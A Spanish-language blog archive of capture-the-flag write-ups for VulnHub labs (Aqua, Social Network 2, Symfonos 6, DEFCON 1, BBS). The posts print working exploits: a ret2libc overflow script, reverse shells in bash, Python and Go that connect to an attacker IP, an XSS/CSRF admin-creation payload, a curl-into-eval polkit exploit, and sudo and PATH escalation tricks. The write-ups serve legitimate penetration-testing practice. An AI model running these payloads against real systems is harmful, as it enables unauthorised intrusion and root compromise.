viernes, 28 de octubre de 2022

AQUA: 1 lfi, port knocking, BOF ret2lib

 

https://www.vulnhub.com/entry/aqua-1,419/

Pantalla inicial:

Help me! My computer has been hacked by Megumin and I have lost access to my computer password! If you help me, I'll tell everything about Megumin so you can help me to hack her back. Please?? ...

1. Pulsamos en yes y nos da unas credenciales de megumin que no sabemos cómo usarlas. Tenemos dos posibilidades: por el puerto ftp que está filtrado o por alguna página de login oculta. 

2. Usando un fuzzer encontramos login.php y accedemos al diario secreto de megumin en home.php. Tenemos lfi

/home.php?showcase=../../../../etc/passwd

3. A partir de aquí hay que ir revisando archivos de configuración o buscar en el home. El hecho de que el puerto ftp aparezca filtrado nos indica la posibilidad de un port knocking. El archivo donde mirar es ../../../../../etc/knockd.conf

[FTP]
sequence = 1234:tcp,5678:tcp,9012:tcp

4. Activamos

knock ip 1234:tcp 5678:tcp 9012:tcp

y comprobamos que ftp se activa con nmap. Entramos en ftp con las credenciales de megumin.

5. No hay ningún archivo en el ftp pero podemos escribir. La idea ahora es subir un shell reverse que podamos activar en web, y para eso hay que encontrar el directorio donde se guardan los archivos para ejecutar el shell con el lfi de home.php.

Con el fuzzer encontramos además el directorio deployment que dentro contiene production.

Subimos como prueba un test.txt por el ftp y vamos mirando en los distintos directorios web encontrados hasta que aparece en production.

Subimos el shell.php

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9999 0>&1'");?>

y accedemos a él vía web habiendo abierto la ventana reverse previamente.

6. Una vez dentro como usuario apache probamos su megumin con la password de inicio y funciona. Con sudo -l

User megumin may run the following commands on aqua:
    (ALL) NOPASSWD: /home/aqua/Desktop/backdoor

Miramos

megumin@aqua:/home/aqua/Desktop$ cat backdoor
#!/bin/bash

echo "[+] Backdoor opened! Hehehe..."

runuser -l aqua -c 'nc -lvnp 1337 -e /bin/sh' &>/dev/null

7. Ejecutamos el backdoor y entrando por otra ventana hacemos

nc 127.0.0.1 1337

Accedemos a aqua

www-data@aqua:/var/www/html/deployment/production$ nc 127.0.0.1 1337
nc 127.0.0.1 1337
id
uid=1000(aqua) gid=1000(aqua) groups=1000(aqua),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)

8. sudo -l

User aqua may run the following commands on aqua:
    (ALL) NOPASSWD: /root/quotes
    (ALL) NOPASSWD: /root/esp
    (ALL) NOPASSWD: /usr/bin/gdb

Con sudo  /usr/bin/gdb -nx -ex '!sh' -ex quit haríamos root, pero se nos avisaba que este es el camino fácil y que lo intentemos por el difícil sin usar gdb y se supone que usando los otros binarios quotes y esp.

9. Camino difícil explotando /root/quotes

Al ejecutarlo

aqua@aqua:~$ sudo /root/quotes

sudo /root/quotes

/root/quotes [Your name here] 

Mirando en aqua/Desktop encontramos además un enlace a un source que parece ser el de quotes:

https://raw.githubusercontent.com/yunaranyancat/personal_projects/master/project_9/quotes.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

#define NUMBER_OF_STRING 20
#define MAX_STRING_SIZE 100

void getname(char *buf);

int main(int argc, char **argv)
{

	srand(time(NULL));
	char quotes[NUMBER_OF_STRING][MAX_STRING_SIZE] =
	{ "Impossible is for the unwilling.",
	  "Stay foolish to stay sane.",
	  "When nothing goes right, go left.",
	  "Try Again. Fail again. Fail better.",
	  "Take the risk or lose the chance.",
          "It's okay to not be okay as long as you are not giving up.",
          "Everything is going to be okay in the end. If it's not the okay, it's not the end.",
          "Do it. With love.",
	  "It is better to be hated for what you are than to be loved for what you are not.",
          "Happiness lies in perspective.",
	  "The best way to pay for a lovely moment is to enjoy it. ",
	  "The ultimate mystery is one's own self.",
	  "It doesn't matter how slow you go as long as you don't stop.",
	  "A tiger doesn't lose sleep over the opinion of sheep.",
	  "What worries you, masters you.",
	  "There are no regrets in life, just lessons.",
	  "Showing off is the fool's idea of glory. ",
	  "Meowwww meoww.. meoww meow meowww! Meowwww?? Meow! Meow!",
	  "Failure is not fatal, but failure to change might be.",
	  "Find what you love and let it kill you."
	};

	if (argc < 2)
	{
		printf("%s [Your name here] \n",argv[0]);
		exit(0);
	}
	getname(argv[1]);
	printf("%s\n", quotes[rand()%20]);
	return 0;
}

void getname(char *buf)
{
	char buffer[32];
	strcpy(buffer,buf);
	printf("Hi %s,\n");
}


Todo apunta a un BOF pero no podemos usar gdb. Probando encontramos que segmenta cuando la cadena de entrada es > 40. Asumimos además que está usando la librería libc.so.6

aqua@aqua:~$ find / -name libc.so.6 2>/dev/null

find / -name libc.so.6 2>/dev/null

/lib/i386-linux-gnu/libc.so.6

Con esto vamos a generar el payload que nos lleve a root. Necesitamos encontrar en esta librería los offsets de systema, exit y sh, en la máquina víctima. El payload será

junk+system+exit+sh

system, exit y sh lo sacamos de la librería

- Compilamos el quotes.c en la víctima y hacemos ldd

ldd /tmp/quotes

        linux-gate.so.1 =>  (0xb7fda000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e09000)

        /lib/ld-linux.so.2 (0xb7fdb000)

- system

readelf -a /lib/i386-linux-gnu/libc.so.6 | grep system

   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0

   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE

  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

- exit

readelf -a /lib/i386-linux-gnu/libc.so.6 | grep exit

  [27] __libc_atexit     PROGBITS        001b02cc 1af2cc 000004 00  WA  0   0  4
   03     .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres .data.rel.ro .dynamic .got .got.plt .data .bss 
   09     .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres .data.rel.ro .dynamic .got 
001b1ef0  00057206 R_386_GLOB_DAT    001b2204   argp_err_exit_status@@GLIBC_2.1
001b1fac  00083c06 R_386_GLOB_DAT    001b2154   obstack_exit_failure@@GLIBC_2.0
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

- sh

strings -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

 15ba0b /bin/sh

El junk exacto no lo sabemos pero vamos a ir probándolo. Código final

from subprocess import call
from struct import pack
libc = 0xb7e09000
system = pack("I",libc+0x0003ada0)
exit= pack ("I",libc+0x0002e9d0)
sh = pack("I",libc+0x15ba0b)

for i in range(41,50):
        junk = "A" * i
        payload=junk+system+exit+sh
        ret=call(["sudo","/root/quotes",payload])

        if (not ret):
                print "ok"
                break
        else:
                print "bad"

megumin@aqua:/home/aqua$ nc 127.0.0.1 1337

python /tmp/exploit.py

id

uid=0(root) gid=0(root) groups=0(root)


miércoles, 19 de octubre de 2022

Breaking social-network: Hard XMLRPCServer bof pwntools socat

 

https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/


You have been given access to a dev server.

The current devs use many custom tools and scripts that you'll have to review and attack.

Difficulty: Hard

Tasks involved:

  • port scanning
  • webapp attacks
  • code review
  • custom bruteforcing
  • reverse engineering
  • buffer overflow
  • exploitation
1. en el puerto 80 encontramos un login



probamos inyección sql con sqlmap y sacamos las credenciales de admin. 

sqlmap -u http://192.168.2.44/ --data 'useremail=a%40b.com&userpass=1&login=Login' --dbs



A partir de aquí la idea es cargar un shell en la imagen profile o en un post. Al final funciona por post cargando un jpg generado con

https://github.com/BlackFan/jpg_payload/blob/master/jpg_payload.php y con extensión php.





www-data@socnet2:/home/socnet$ 

2. Una vez dentro como apache encontramos el script python que gestiona el puerto 8000 donde funciona un basehttp/0.3 python/2.7.15rc1. De los posts de admin anteriores tenemos que hay funcionando un monitor.py que es lo que analizamos para escalar al usuario socnet.

#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output
def cpu():
    return runcmd("cat /proc/cpuinfo")
def mem():
    return runcmd("free -m")
def disk():
    return runcmd("df -h")
def net():
    return runcmd("ip a")
def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:
         return runcmd(cmd)

    else:
        return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()

Con Burp tratamos de deducir cómo funciona. Tenemos que enviar en post un xml de esta forma

<?xml version="1.0"?>
<methodCall>
  <methodName>mem</methodName>
</methodCall>


Se trata de inyectar el shell llamando a la función secure_cmd pero necesitamos la pass. Bruteforceamos con burp.

<?xml version="1.0"?>
<methodCall>
  <methodName>secure_cmd</methodName>
  <params>
    <param>
        <value><string>whoami</string></value>
    </param>
    <param>
        <value><int>$4450$</int></value>
    </param>
  </params>
</methodCall>

Localizada la pass inyectamos el shell que solo nos ha funcionado con python

<?xml version="1.0"?>
<methodCall>
  <methodName>secure_cmd</methodName>
  <params>
    <param>
        <value><string>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.84",9994));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</string></value>
    </param>
    <param>
        <value><int>4450</int></value>
    </param>
  </params>
</methodCall>

Entramos otra vez pero ahora como socnet. Aunque la máquina es vulnerable a polkit

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

entendemos que hay que escalar a root a través del binario add_record. Lo descargamos y analizamos con ghidra. Queda claro que hay que hacer overflow en la variable que recoge lo que introducimos en "Explain: ". Encontramos además una función backdoor que ejecuta el shell y cuya dirección es lo que hay que inyectar. 





Con gdb-peda encontramos el payload correcto que rellena EIP:

"A"*62 + "B"*4

En "B" ponemos el offset del backdoor

"A"*62 + "\x76\x86\x04\x08"

Lo probamos en local

from pwn import *
"""
Employee Name(char): r
Years worked(int): 4
Salary(int): 4
Ever got in trouble? 1 (yes) or 0 (no): 1
Explain: 
"""
p = process("./add_record")
print(p.recvline())
print(p.recvline())
print(p.recvuntil(":", timeout=1))
p.send("f\n")
print(p.recvuntil(":", timeout=1))
p.send("3\n")
print(p.recvuntil(":", timeout=1))
p.send("3\n")
print(p.recvuntil(":", timeout=1))
p.send("1\n")
print(p.recvuntil(":", timeout=1))
payload="A"*62 + "\x76\x86\x04\x08"
p.send(payload+"\n")
p.interactive()

El problema es que la máquina víctima no tiene pwntools instalado. La idea entonces es usar socat que tampoco lo tiene pero podemos descargarlo ya compilado

wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

Y lo ejecutamos en la máquina víctima

./socat tcp-l:5000,reuseaddr,fork EXEC:"./add_record",pty,raw,echo=0

Es ahora que modificamos el script anterior cambiando la apertura del proceso en local a 

p = remote("192.168.2.44",5000)

ejecutamos desde nuestra máquina y obtenemos root



lunes, 17 de octubre de 2022

symfonos6: flyspray, gitea, go

 https://www.vulnhub.com/entry/symfonos-61,458/

Difficulty: intermediate-hard

1- en 80 buscamos y tenemos flyspray. Creamos un usuario test y aplicamos exploit 

https://www.exploit-db.com/exploits/41918
https://www.youtube.com/watch?v=eCf9a0QpnPs

creamos script js

var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();

y en realname del usuario test creado en flyspray ponemos el xss

"><script src=máquina atacante/script.js></script>

salimos y entramos como el usuario test creado y ponemos algún comentario en alguna tarea. Con eso se crea el usuario hacker

entramos como hacker que es admin, y en una de las tareas nos da el login git de achilles

2- vamos al gitea en 3000 y entramos como achilles. Hacemos exploit git hook post y accedemos shell git a la máquina

3- su achilles, la contraseña es la misma

4- tenemos sudo go, hacemos un shell reverse en go y root

package main

import (
  "net"
  "os/exec"
  "time"
)

var (
  lhost string
  lport string
)
func prepareCmd() (*exec.Cmd) {
  cmd := exec.Command("/bin/sh")

  return cmd
}
func main(){
  var target string = "192.168.2.84:8888"
  var cmd *exec.Cmd
  var err error
  var conn net.Conn = nil
  var attempt int = 0

  for conn == nil && attempt < 3 {
    conn, err = net.Dial("tcp", target)
    if err != nil {
      time.Sleep(20 * time.Second)
      conn = nil
    } else {
      cmd = prepareCmd()
      cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
      cmd.Run()
      conn.Close()
    }
    attempt += 1
  }
}

sudo /usr/local/go/bin/go run shell.go

[root@symfonos6 ~]# cat proof.txt
cat proof.txt
           Congrats on rooting symfonos:6!
                  ,_---~~~~~----._         
           _,,_,*^____      _____``*g*\"*, 
          / __/ /'     ^.  /      \ ^@q   f 
         [  @f | @))    |  | @))   l  0 _/  
          \`/   \~____ / __ \_____/    \   
           |           _l__l_           I   
           }          [______]           I  
           ]            | | |            |  
           ]             ~ ~             |  
           |                            |   
            |                           |   
     Contact me via Twitter @zayotic to give feedback!
[root@symfonos6 ~]# 


martes, 4 de octubre de 2022

DEFCON: 1 : eligible for recruitment at the NSA. May the best person win....

 

https://www.vulnhub.com/entry/defcon-1,490/

Hay dos caminos para resolver esta máquina. Antes de eso:

1- Tenemos el puerto 443 abierto. De entrada la máquina nos redirige a https://nsa-server.net/. Mirando el certificado SSL sacamos que hay un subhost nsa-secretserver.net que contiene un wordpress. 

- Observando el wordpress nos da la clave admin de john

-/…./.\.--/---/.-./-../.--./.-././…/…\.--./.-/…/…/.--/---/.-./-..\---/..-.\.---/---/…./-.\../…\…/-/.----/.-../.-../…--/.-/…/-.--/-.-.--/-.-.--/-.-.--

- entramos en admin, vamos a wpterm y abrimos un shell reverse. Entramos como graham.


A partir de aquí se abren los dos caminos. Si resolvemos los puzzles de la página inicial obtenemos la clave de smith y la de graham. 

puzzle1: 96l cy berru gthre atyba phi shin ghtihac kermska litnema lware gafodro wssaper ans omwareht sisvi rusiht

Lo resolvemos a mano

a- rearmamos las palabras al haber detectado algunas con sentido:

96l cyber rug threat yba phishing hti hacker mskalitne malware gafodrowssape ransomware htsis virus iht

b- y observamos que el resto hay que leerlas del revés:

96l rug yba hti mskalitne gafodrowssape htsis iht

Nos da la password de smith y esta es la clave porque es el usuario que nos lleva a root explotando la vulnerabilidad LXC

puzzle2: TTSFM34YHHWGGSRSIEOR0SEMSPRA0YV4IADHDO3RSSOANUR7

Se trata de Transposition Cipher. dcode.fr no lo devuelve bien con todo, pero observamos una solución que parece muy aproximada

THISIS THAPES SWDROO FGHARA MGD00N 3SOYSU 4R3VER YSR4M7

Reagrupando en grupos de 6 letras observamos que solo hay que transponer últimamente cada 3ª y 5ª letra de los grupos

THIS IS THE PASSWORD OF GRAHAM G00DN3SSYOU4REV3RYSM4R7

El segundo camino es más largo al no tener la clave de smith a priori. 

- una vez dentro con graham miramos un mbox


From: john@nsa-server

Date: Mon, 10 Jun 2019 11:35:48 +0200


Hi Graham,

Sorry man to bother you, but I forgot my password.

I don't want to go to Smith because he will rip me a new hole.

Can you please help me?

Thanks man!!!

John

- miramos el .viminfo y sacamos que graham ha editado

~/.local/share/Trash/files/note.txt

que contiene

Hi John,

After your latest password failure I changed it. You know where it is right? Wink Wink!

Pretty easy right? Try not to forget this one also.

You know how the boss is like! You wanna get fired or something?


Also smart idea to sent this message with netcat right?

I don't trust our mailsystem.

After sending this message, I'll trow it away....no one will know.

hahahaha......now who is a cybernoob!!!!

Best,

Graham

P.S. You Do kNow whEre The paSswoRd Is hiDden rigHt?

La pass de john son las letras capitales

- su john -->  En Documents hay un secret.png, lo descargamos y no se abre correctamente. Miramos en hex y arreglamos el header (PNG..). Nos da una password. Tenemos los siguientes users en home:

george  graham  john  nicky  samantha  smith

Probamos uno a uno george, nicky, samantha y smith. Resulta ser george.

- su george --> 

User george may run the following commands on nsa-server:

    (samantha) /usr/bin/vi

sudo -u samantha vi -c '!/bin/bash'

- en el home de samantha hay un check con suid root. Miramos con strings y ejecuta directamente ss. Aplicamos exploit PATH:

creamos un ss conteniendo bash, añadimos el path local y ejecutamos el check

samantha@nsa-server:~$ cat ss 
cat ss
bash -i

nos lleva a nicky

- en Documents/.passwd tenemos la pass de nicky. Con ella entramos en mysql. Sacamos la pass de smith

BE84A0E22A8E3E1EAA0883956B3F8692DFE4CA13

hashcat -a0 -m300 BE84A0E22A8E3E1EAA0883956B3F8692DFE4CA13 rockyou2021.txt -d3,4

(11 minutos, tenemos que usar necesariamente ese diccionario a no ser que hayamos descifrado el puzzle 1...)

/mnt/root/root # cat root.txt
cat root.txt


░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░▓████████████████████████▒░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░▓█████▓▒░░░░░░░░░░░░░░░▒██████▒░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░████▒░░░░░░░░░░░░░░░░░░░░░░░░░▓███▒░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░███░░░░░░░░░░░░░░░
░░░░░░░░░░░░░▒██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒██░░░░░░░░░░░░░░
░░░░░░░░░░░░▒██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░
░░░░░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░
░░░░░░░░░░░██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░░██░░░░░░░░░░░░
░░░░░░░░░░░██░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░░
░░░░░░░░░░░██░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░░
░░░░░░░░░░░██░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░░
░░░░░░░░░░░██▒░██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▓░▒██░░░░░░░░░░░
░░░░░░░░░░░░██░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░░░
░░░░░░░░░░░░██▒░██░░░░░▒▒▓███▒░░░░░░░▒███▓▒▒░░░░░██░▓██░░░░░░░░░░░░
░░░░░░░░░░░░░██░██░░██████████▒░░░░░▓██████████░░██▒██░░░░░░░░░░░░░
░░░░░░░░░░░░░░████░████████████░░░░░████████████░████░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░███░▒██████████░░░░░░░██████████▒░██▒░░░░░░░░░▒░░░░░
░░░▒████░░░░░░░▓█▒░░█████████░░░░░░░░░█████████░░▒█▓░░░░░░▓████░░░░
░░░██░▒██▒░░░░░██░░░░██████▓░░░░█░█░░░░███████░░░░██░░░░░███░░██░░░
░░░██░░░██▓░░░░██░░░░░░▒▓▓░░░░▒██░██░░░░░▓▓▒░░░░░▒██░░░░███░░░██░░░
░▓██▒░░░░████▓░░██░░░░░░░░░░░░███░███░░░░░░░░░░░░██░░█████░░░░▓██▒░
██▓░░░░░░░░▒████████▓░░░░░░░░████░███▓░░░░░░░▒▓████████░░░░░░░░░███
██▓▒▓███▓░░░░░░▓████████▓░░░░████░███▓░░░░▓████████▓░░░░░░████▓▓███
░███████████▒░░░░░░███████░░░░██░░░██░░░░██████▓░░░░░░▓███████████░
░░░░░░░░░░▓█████░░░░██▓▓░██░░░░░░░░░░░░░██░█▒██░░░▒█████▓░░░░░░░░░░
░░░░░░░░░░░░░▒█████▒▒█▓█░███▓▓▒▒▒▓▒▒▓▓▓███▒███░▓█████░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░▒████▒▓█▒▒█░█▒█░█░█▓█▒█▓░█░█████▒░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░██░░██▓█▓█▓█▒█▒█▓█▓████░▓█▓░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░▓████▓░▓█▓█░█▒█░█░█▒█▒███▒░██████░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░▓█████░░██░░░▒█████▓█▓█████▒░░░██░▒█████▓░░░░░░░░░░░░░
░░░░▒██████████▓░░░░░███░░░░░░░░░░░░░░░░░░░██▒░░░░░▓██████████▒░░░░
░░░░██░░░▓▓▓░░░░░░▒██████▓░░░░░░░░░░░░░░░███████▒░░░░░░▓▓▒░░▒██░░░░
░░░░▓██░░░░░░░░▓████▓░░░█████▒░░░░░░▒▓█████░░░▓████▓░░░░░░░▒██▓░░░░
░░░░░░███░░░░████▒░░░░░░░░▓█████████████▒░░░░░░░░▒████░░░░███░░░░░░
░░░░░░░██░░░██▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓██░░░██░░░░░░░
░░░░░░░██▒▓██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒██▒▓██░░░░░░░
░░░░░░░░████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

CONGRATULATIONS!!!!

YOU JUST PWND THIS MACHINE





domingo, 2 de octubre de 2022

BBS:1 fuzz, dosbox, turbopascal

 

Machine name: BBS (Bulletin Board System)

Level: High

https://www.vulnhub.com/entry/bbs-1,494/

Machine hint: FUZZ!!!


Aunque indica level high todo depende y es como dice a dip in the present and in the past, it requires a transversal competence from today to the mid 80-90s. Skills: developing, networking, GSM Messaging, Linux, X11, some MS-DOS commands


Este es el primer write-up de esta máquina en internet


1. Siguiendo el aviso se trata de fuzzear todo lo posible (hasta que consigamos algo con valor). Uso ffuf. Encontramos seite-3-gross y hay que fuzzear recursivamente mientras vayan saliendo files o directorios. En este caso tenemos un robots.txt que nos regala diversos folders donde ir buscando:

Disallow /show_tab/show_basket/mist/replicate/msxchat/glpi/

El glpi es un rabbit hole. Mirando folder por folder llegamos a 

/seite-3-gross/show_tab/show_basket/mist/replicate/msxchat/robboard/store_backup/viagra2/rest_images

y dentro zusammenarbeit.txt

I don't believe that you could find me, however, the zipped filename is dd0298c24ef96adc03cbabcbc6147868579bbfa9364172d3985a6129897faf23a503fb8d40b9216e7f6a344753f45dbbf4b98cefa1e13b649a577202e3a7545e.zip but I don't remember in which directory I stored.

Please search and use it carefully.

2. Buscamos el zip y está en /seite-3-gross/show_tab/show_basket/mist, usamos john y lo abrimos. Hay una nota.txt

You are always so cryptic, remember that source TPU is the old project you used to encode this message, decode it to remember your password:

AT+CMGS=153

07919333333333F301001391266663665545446666F600009BC834C8FCC6B340E43419947FD741F272BBDC1697E53F10343C9FDFDF7232283D078DDF6DF87B5E2683C479D09B4D06ADCB79F13B2C2783EE693AFA5DA783A8391628EC2683D273101D5D0649CBE3343C5D76D341EE7A5B5C9683DE66101D9D9E83A6CDA942016597C3F33288FC769FE820F35B7E2ED341693A287C0EA7DDA15048A118A2CB65F91C

Decodificamos el pdu:

Number+6266366655544466666
TextHi fox, did you remember? Password is composed by old keyboard without T9, and is the Recipient number of this SMS Please don't forget it again!!! Cheers


Tenemos la clave de fox para entrar en el sistema. Usando https://www.dcode.fr/multitap-abc-cipher salen algunas posibilidades y hay que ir probando, al final damos con la correcta. 

3. El problema es que no tenemos acceso ssh ni via web reverse shell. La clave está en los puertos:

177/udp open  xdmcp   XDMCP

Significa que podemos acceder via xorg

Xephyr -from nuestra.ip -query ip.victima -screen 800x600 :1

Con eso accedemos a la pantalla de login de la máquina víctima. Usamos las credenciales de fox y entramos. Dado que es un shell limitado, podemos iniciar un reverse con nc

4. Tenemos un mbox (mail) de mara

From mara@bbs.htb Sun Apr 12 20:37:06 2020
Return-path: <mara@bbs.htb>
Envelope-to: fox@bbs.htb
Delivery-date: Sun, 12 Apr 2020 20:37:06 +0200
Received: from mara by bbs.htb with local (Exim 4.92)
       (envelope-from <mara@bbs.htb>)
       id 1jNhTe-00062e-I0
       for fox@bbs.htb; Sun, 12 Apr 2020 20:37:06 +0200
To: <fox@bbs.htb>
Subject: I love you
X-Mailer: mail (GNU Mailutils 3.5)
Message-Id: <E1jNhTe-00062e-I0@bbs.htb>
From: mara@bbs.htb
Date: Sun, 12 Apr 2020 20:37:06 +0200


My love, I'll try to communicate with you, but you are always so cryptic... I want to surprise you

your lovely wife, mara

Se trata de mirar en el directorio de mara pero no tenemos los permisos. Mirando suids tenemos mawk con  el que podemos leer archivos protegidos.

-rwsr-sr-x 1 mara paolo 120K Mar 23  2012 /usr/bin/mawk

En el folder de mara no podemos entrar pero sí en el de paolo, donde tenemos otro mbox que leemos con mawk
LFILE=file_to_read
mawk '//' "$LFILE"
From mara@gsm.htb Sun Apr 12 20:26:02 2020
Return-path: <mara@gsm.htb>
Envelope-to: paolo@localhost
Delivery-date: Sun, 12 Apr 2020 20:26:02 +0200
Received: from mara by gsm.htb with local (Exim 4.92)
       (envelope-from <mara@gsm.htb>)
       id 1jNhIw-00060l-Jc; Sun, 12 Apr 2020 20:26:02 +0200
To: <paolo@localhost>
Cc: <paolo@gsm.htb>
Subject: ciao
X-Mailer: mail (GNU Mailutils 3.5)
Message-Id: <E1jNhIw-00060l-Jc@gsm.htb>
From: mara@gsm.htb
Date: Sun, 12 Apr 2020 20:26:02 +0200
X-IMAPbase: 1586715985 3
Status: O
X-UID: 1

I got the access on your account by ssh-copy-id using password "bomboloneconlacremasiciliana", thank you, now you can change your password

   mara

Aquí el bombolone :)




5. entramos en paolo y hay un directorio dosprogs con una nota USER.txt

great, user flag is not here, but I give you a nudge:

remember Paolo, don't inspect these file by hand... run DOSBOX, but only after you allowed the X11 forwarding 

       *fox

Pero dosbox no funciona en paolo aunque sí en fox. Damos permisos a dosprogs para ejecutar dosbox desde paolo, y montamos luego C: como /home/paolo/dosprogs

Tenemos un BBS donde vemos algunos mensajes relevantes y un archivo PASSES.ARJ encriptado. Parece que el acceso a root pasa por desencriptar el arj. Tenemos algunos hints:

Ok I want to give a little hint: search my (SysOp) phone, and try to encode for me an SMS, with the right text, and ask me how to find the way.

Next came back, and you'll have what you'r_e looking for.

Es lo que hace la página de inicio index. Buscamos el SysOp phone que es 00393773060850 y vamos probando mensajes hasta caer en la cuenta que es:

how to find the way

(nos lo estaban diciendo, podemos usar la página index de inicio en el navegador para sacar el pdu)

6. Usamos arj:

arj e -gpdu PASSES.ARJ 

y sacamos CIPHERED.TXT, DECODE.PAS y PASSWORD_encoded.TXT. Del último

ok you reached me, in c:\TP you can find Turbo Pascal, use this source attached to decode the ciphered file.

The password to decode ciphered file is: do you really think that I can give you the pass?

cheers

        *fox

compilamos el pas (podemos hacerlo en nuestra máquina con fpc) y con el decode.exe sacamos la clave de root.

root@bbs:~# cat root.txt
5f423b7772a80f77438407c8b78ff305
root@bbs:~#